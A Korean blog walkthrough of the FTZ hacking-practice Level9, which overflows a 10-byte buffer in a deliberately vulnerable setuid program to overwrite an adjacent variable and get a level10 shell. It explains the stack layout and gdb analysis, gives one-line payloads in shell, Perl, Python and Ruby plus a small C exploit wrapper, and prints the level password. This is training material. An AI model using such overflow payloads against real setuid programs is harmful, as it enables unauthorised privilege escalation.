본문 바로가기

Learning/└◆Reversing

09_Level9 -> Level10[FTZ] 버퍼 오버 플로우 소개


■ Level9 -> Level9


 

 

■ 목적

버퍼오버플로우(BOF, Buffer Overflow)소개

버퍼오버플로우 기법을 이해하기 위해 메모리의 값을 조작하는 방법

Stack Buffer Overflow (지역변수 활용) - 쉽고 복잡하게 구성

Heap Buffer Overflow (메모리 할당) - 어렵고 단순하게 구성

 

[참고] 변수의 메모리 배치 확인과 GDB 사용방법
 http://hyess.tistory.com/366

 

■ Level9 풀이

 

level9 사용자 로그인

-> ID/PASS : level9/apple

 

$ cat hint

다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.

 

 

/usr/bin/bof의 소스가 나오면서 이를 이용하여 level10의 권한을 얻으라고 한다.

 

아주 기본적인 버퍼오버플로우 취약점 소스코드 이다.

fget = buffer over flow 이렇게 생각하면 쉽다. 

메모리상에 Ret를 조작하는 기법이 BOF의 핵심이다.

즉 메모리값을 변조하는 것이라고 볼 수 있다.

 

메모리 구조
 -------------------------------------+

  주소값 ㅣSFP l RET l argc l argv l  env l
 -------------------------------------+

           ebp

 


[참고] 버퍼오버플로우 gdb 사용시

메모장을 활용하여 b.p를 핵심 코드에 걸어 자세하게 분석본다.

 


 

 

■ 힌트 소스분석

#include <stdio.h>

#include <stdlib.h>
#include <unistd.h>

main() {

char buf2[10];                <--  char 형으로 buf2 배열선언 10byte
char buf[10];                 <-- char 형으로 buf 배열선언 10byte

printf("if cna be overflow : ");         <-- 해당 문장출력
fgets(buf,40,stdin);                       <-- 입력받은 값을 buf에 저장하는데 크기는 40byte 이하

if ( strncmp(buf2, "go", 2) == 0 )     <-- buf2의 앞 2byte와 "go"를 비교하고 같으면
  {
         printf("Good Skill!\n");        <-- 해당 문장출력
         setreuid( 3010, 3010 );         <-- 해당 UID의 권한을 부여(Level 10)
         system("/bin/bash");           <-- "/bin/bash" 명령을 실행

 

해당 소스를 보면, 결과적으로 buf2의 앞 2byte에 go라는 문자가 있어야 문제를 해결할 수 있음을

알려준다.

 

그리고 입력은 buf에만 할 수 있게 코딩 되어 있다.

 

그러나 이미 if can be overflow 라는 힌트가 있고 buf 배열은 10byte로 설정되있으나 입력 받아서 buf에 저장하는

 

최대크기는 40byte로 4배가 더 크다.

 

 

 

 

버퍼 오버 플로우(Buffer of flow)

해킹 기법중 하나로 오버플로우를 해석해보면 넘쳐 흐르다 로써 버퍼 오버플로우는 데이터를 저장할때,

정해진 메모리 공간을 넘어 다른 인접 메모리공간에 저장하여 오류를 내거나 취약점이 생기게 하여

비 정상적인 작동을 하게 한다.

예방을 위해서는 각 데이터가 들어갈 메모리의 위치를 검사하는 것이다. 위 코드에서 버퍼 오버플로우를

방지하기 위해서는 입력받는 문자의 크기를 10으로 제한해주거나 버퍼경계 검사를 실시하는 것 이다.

 

 

버퍼오버플로우에 대해서

http://hyess.tistory.com/368

 

 

[스택의 구조]

 ----------------------------------------------------------+

 buffer1[10] buffer2[10] ㅣSFP l RET l argc l argv l  env  l
 ----------------------------------------------------------+

          

buffer1 확대

------------------------------------------------+

                               buffer1                              l           

------------------------------------------------+

 

buffer1 확대x2

<-----------------------------------------buferf1--------------------------------------------->

 

 

 

 

 

 

 

 

 

 

 

 

값을 입력 받아 buf에 값을 저장하게 되는데 0123456789를 입력했을 경우

<-----------------------------------------buffer----------------------------------------------->

 0

 1

 2

 3

 4

 5

 6

 7

 8

 9

 

 

buffer 공간보다 더 많이 값을 입력해 버퍼 오버플로우를 발생시킨 경우

<-------------------buffer---------------------><------------------buffer2--------------------->

 0

 1

 2

 3

 4

5

6

7

8

9

g

o

 

 

 

 

 

 

 

 

 

그러면 12byte를 입력한다면?? buf의 공간이 10인데 어떻게 12byte를 입력하는가

 

level9의 소스에서 buf 배열은 10개 인데 40개 까지 받을수 있으니 bof가 발생하는 환경을 구성했다.

buf2 에 앞 2byte에 go라고 쓰면 level10의 권한으로 쉘을 실행 시킨다고 되어 있다.

fgets(buf,40,stdin); 

 

12byte를 입력해서 쉘을 얻는 동작 수행.

$ /usr/bin/bof

It can be overflow : 0123456789go

$

 

변화가 없다. 그 이유는 버퍼와 버퍼사이 쓰레기값(dummy)이 존재하기 때문이다.

<-------------buffer---------------><--dummy--><------------------buffer2--------------------->

g 

o 

 

 

 

 

 

 

 

 

 

 

 

 

 

dummy값이 얼마인지는 알 수 없지만 dummy값이 존재하기 때문에 buf2 앞 2byte까지 닿지 않았기

때문에 코드가 정상적으로 실행 되지 않은 것이다.

 

따라서 1byte씩 증가시켜 입력값을 넣으면 buf2 의 앞 2byte 자리에 닿는 순간이 올 것이고

그렇다면 코드가 정상적으로 작동하여 쉘권한을 얻을 수 있다.

 

■ dummy공간의 여부를 확인하는 방법

 

위 hint 소스에 dummy값의 여부를 확인하는 코드를 작성하여 라인에 추가한다.

$ vi bof.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{

        char buf2[10];
        char buf[10];

        printf("It ca be overflow : ");
        fgets(buf, 40, stdin);

 

       printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2);   <--라인 추가(더미공간 여부 확인)
                                                                                        %x 16진수, %p 주소형태로 표시
        if(strncmp(buf2, "go", 2) == 0)                                       0x%x
        {
                printf("Good Skill!\n");
                setreuid(3010, 3010);
                system("/bin/bash");
        }
}

 

 

$ gcc -o bof bof.c

$ ./bof

It ca be overflow : AAAA

&buf=0xbffff760, &buf2=0xbffff770

 

계산기를 사용하여 10진수로 계산해보면

0xbffff760 - 0xbffff770 = 0x00000010 => 16byte 만큼 떨어져 있다.

(주의) 스택은 높은 주소에서 낮은 주소로 저장된다.

 

   ------------------------------------------

       buffer         l    dummy  l    buffer2           l

   ------------------------------------------

                        ----------------------------

                        l    dummy  l    buffer2           l

                        ----------------------------

buffer - buffer2 = <------ 16 byte ---------->

 

   ------------------------------------------

       buffer         l    dummy  l    buffer2           l

   ------------------------------------------

 <---10byte----><--6byte--><---10byte---->

여기서 하나 알아둬야 할 것은 hint내용중 총 버퍼의 크기를 40byte 이하로 저장한다고 했다.

[스택의구조] 중요

   ----------------------------------------------------------------+

        10     l      6      l     10     l     ?     l   4   l   4    l  4  l    4   l    4    l

     buffer   l  dummy  l  buffer2  l dummy l SFP l RET l arg l argv l *ENN l <--arg,argv,*ENN 고정된값

   ----------------------------------------------------------------+

  <--------------40byte------------------>
buffer 부터 RET 까지 총 40byte로 구성이 된다.

따라서 buffer2 다음의 dummy 값도 알 수 있다.

SFP 부터 *ENN은 모두 4byte로 구성되어 있기 때문이다.

 

 


 

 

따라서 1byte씩 집어넣어 찾을 필요가 없다.

 

<--------------buffer[10]-----------><-----dummy[6]-----><------------buffer2------------->

 0

0 

a 

b 

c 

d 

e 

g

 

 

 

 

 

 

 

 

 

더미공간 여부의 확인과 그 값의 크기를 찾는다면.

스택의 구조를 정확하게 파악할 수 있다.

 

$ /usr/bin/bof

It can be overflow : 01234567890abcdego

Good Skill!
[Level10@ftz level10]$id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

 

$ my-pass

Level10 Password is "interesting to hack!".

 

해킹은 흥미롭다.

 


 

 

■ 의사코드

 

$ ls -l /usr/bin/bof

-rws--x---          1     level10     level9         12111     8월    19   12:58   /usr/bin/bof

 

리드 권한이 없다. 따라서 hint에서 나오는 소스 코드를 복사해 직접 만들고 디버깅을 실시한다.

 

$ gdb /home/level9/tmp/bof

(gdb) disass main

Dump of assembler code for function main:

0x08048420 <main+0>:   push  %ebp

0x08048421 <main+1>:   mov   %esp,%ebp

0x08048423 <main+3>:   sub   $0x28,%esp

0x08048426 <main+6>:   and   $0xfffffff0,%esp

0x08048429 <main+9>:   mov   $0x0,%eax

0x0804842e <main+14>:  sub   %eax,%esp

0x08048430 <main+16>:  sub   $0xc,%esp

0x08048433 <main+19>:  push  $0x804856c

0x08048438 <main+24>:  call  0x8048350 <printf>

0x0804843d <main+29>:  add   $0x10,%esp

0x08048440 <main+32>:  sub   $0x4,%esp

0x08048443 <main+35>:  pushl 0x80496c8

0x08048449 <main+41>:  push  $0x28

0x0804844b <main+43>:  lea   0xffffffd8(%ebp),%eax

0x0804844e <main+46>:  push  %eax

0x0804844f <main+47>:  call  0x8048320 <fgets>    char *fgets(char *s, int size,

                                                  FILE *stream);

0x08048454 <main+52>:  add   $0x10,%esp

0x08048457 <main+55>:  sub   $0x4,%esp

0x0804845a <main+58>:  lea   0xffffffe8(%ebp),%eax

0x0804845d <main+61>:  push  %eax

0x0804845e <main+62>:  lea   0xffffffd8(%ebp),%eax

0x08048461 <main+65>:  push  %eax

0x08048462 <main+66>:  push  $0x8048581

0x08048467 <main+71>:  call  0x8048350 <printf>

0x0804846c <main+76>:  add   $0x10,%esp

0x0804846f <main+79>:  sub   $0x4,%esp

0x08048472 <main+82>:  push  $0x2

0x08048474 <main+84>:  push  $0x8048598

0x08048479 <main+89>:  lea   0xffffffe8(%ebp),%eax

0x0804847c <main+92>:  push  %eax

0x0804847d <main+93>:  call  0x8048330 <strncmp>   int strncmp(const char *s1,

                                                    const char *s2, size_t n);

0x08048482 <main+98>:  add   $0x10,%esp

0x08048485 <main+101>: test  %eax,%eax

0x08048487 <main+103>: jne   0x80484be <main+158>

0x08048489 <main+105>: sub   $0xc,%esp

0x0804848c <main+108>: push  $0x804859b

0x08048491 <main+113>: call  0x8048350 <printf>

0x08048496 <main+118>: add   $0x10,%esp

0x08048499 <main+121>: sub   $0x8,%esp

0x0804849c <main+124>: push  $0xbc2

0x080484a1 <main+129>: push  $0xbc2

0x080484a6 <main+134>: call  0x8048360 <setreuid>    int setreuid(uid_t ruid,

                                                      uid_t euid);

0x080484ab <main+139>: add   $0x10,%esp

0x080484ae <main+142>: sub   $0xc,%esp

0x080484b1 <main+145>: push  $0x80485a8

0x080484b6 <main+150>: call  0x8048310 <system>    int system(const char *string);

0x080484bb <main+155>: add   $0x10,%esp

0x080484be <main+158>: leave

0x080484bf <main+159>: ret

End of assembler dump.

(gdb) b *0x0804847d

Breakpoint 1 at 0x804847d

(gdb) run

Starting program: /home/level9/tmp/bof

It ca be overflow : AAAAAAAAAABBBBBBgo            A=10개, B=6개, go

&buf=0xbffff260, &buf2=0xbffff270              <-- 더미 크기를 확인하기 위한 라인 추가

 

Breakpoint 1, 0x0804847d in main ()

(gdb) x/s 0xbffff260

0xbffff260: "AAAAAAAAAABBBBBBgo\n"          buf의 내용

(gdb) x/s 0xbffff270

0xbffff270: "go\n"                          buf2의 내용

(gdb) continue

Continuing.

Good Skill!

 

$ ps (기존의 코드가아닌 새로 작성한 코드이기 때문에 level10의 권한은 있지 않지만 정상 작동한다.)

  PID TTY          TIME CMD
24425 pts/3    00:00:00 bash
24664 pts/3    00:00:00 gdb
24665 pts/3    00:00:00 bof
24672 pts/3    00:00:00 bash
24698 pts/3    00:00:00 ps       bof 안에 들어있는 bash쉘 상태
                                          프로그램이 아직 끝나지 않은 상태

 

$ pstree 24665
gdb---bof---bash---pstree

$ exit
exit

Program exited normally.
(gdb) quit

 

 

■ 여러가지 쉘(shell) 스크립트를 통해 문자열을 입력해 보기

 

 # for i in `seq 1 16`

   > do

   >           printf "A"

   > done

   # printf "go\n"

 

   # for i in `seq 1 16`

   > do

   >            printf "A"

   > done ; printf "go\n"

 

$ for i in `seq 1 16`; do printf "A"; done ; printf "go\n"

 

AAAAAAAAAAAAAAAAgo

 

$ (for i in `seq 1 16`; do printf "A"; done ; printf "go\n" ; cat) | /usr/bin/bof

It can be overflow : Good Skill!

whoami

level10

id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass

 

Level10 Password is "interesting to hack!".

 

exit

<ENTER> 

 

 

(Perl)스크립트를 통해 문자열을 입력해 보자.

 

$ perl -e 'print "A"x16,"go"'

 

-e옵션을 붙혀준다.

-print명령어 사용하고 콤마로 연속적으로 사용한다.

-x16이 곱하기 형식이다. 

 

$ (perl -e 'print "A"x16, "go"'; cat) | /usr/bin/bof

<ENTER> 

It can be overflow : Good Skill!

whoami

level10

id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass

 

Level10 Password is "interesting to hack!".

 

exit

<ENTER>

 

 

파이썬(Python) 스크립를 통해 문자열을 입력해 보자.

 

$ python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof

 

-c옵션을 사용

-*가 곱하기 의미

-콤마가아닌 +를 붙혀줘서 연속적인것을 표현   

 

$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof

<ENTER> 

It can be overflow : Good Skill!

whoami

level10

id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass

 

Level10 Password is "interesting to hack!".

 

exit

<ENTER>

 

루비(Ruby) 스크립트를 통해 문자열을 입력해 보자.


루비(Ruby)란?

일본에서 만들었으며, 파이썬의 기반을 가져있고 펄 신텍스를 따왔다. php 해석기 방식이 빠르게 동작하거나 코드가 간단했다. API를 개별적으로도 사용하고 전체를 사용할 수 있는 더 효율적인 방법. 기존의 API를 묶어서 더 빠르게 프로그래밍을 하기 위해서 만들었다. 지금도 웹쪽에서는 강력하게 사용되고 있다. 


(주의) HackMe 시스템에는 ruby 설치 되어 있지 않다.

$ (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof

 

 

16진수로 문자열을 입력

# export LANG=C

# man ascii

Oct  Dec  Hex  Char                    Oct  Dec  Hex  Char

------------------------------------------------------------

047  39   27     '                     147  103   67   g

050  40   28     (                     150  104   68   h

051  41   29     )                     151  105   69   i

052  42   2A     *                     152  106   6A   j

053  43   2B     +                     153  107   6B   k

054  44   2C     ,                     154  108   6C   l

055  45   2D     -                     155  109   6D   m

056  46   2E     .                     156  110   6E   n

057  47   2F     /                     157  111   6F   o

 

 

$ printf "AAAAAAAAAABBBBBB\x67\x6f\n"  

AAAAAAAAAABBBBBBgo

 

 

$ for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"

AAAAAAAAAABBBBBBgo

 

 

$ (for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"; cat) | /usr/bin/bof

It can be overflow : Good Skill!

id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass

 

Level10 Password is "interesting to hack!".

 

exit

<ENTER>

 

 


 

■ Exploit code (공격용 코드)

 

$ vi Attack_Bof.c  

#include <stdio.h>

 

#define VICTIM "/usr/bin/bof"

#define DEFAULT_BUFFER_SIZE 100       define - 전역변수

 

char cmdBuf[DEFAULT_BUFFER_SIZE];

 

int main()

{

   sprintf(cmdBuf, "(for i in `seq 1 16`; do printf \"A\"; done; printf \"go\"; cat ) | %s", VICTIM);

   system(cmdBuf);

 

return 0;

}

 

 

$ gcc -o Attack_Bof Attack_Bof.c

$ ./Attack_Bof

<ENTER>

It can be overflow : Good Skill!

id

uid=3010(level10) gid=3009(level9) groups=3009(level9)

my-pass

 

Level10 Password is "interesting to hack!".

 

exit

<ENTER>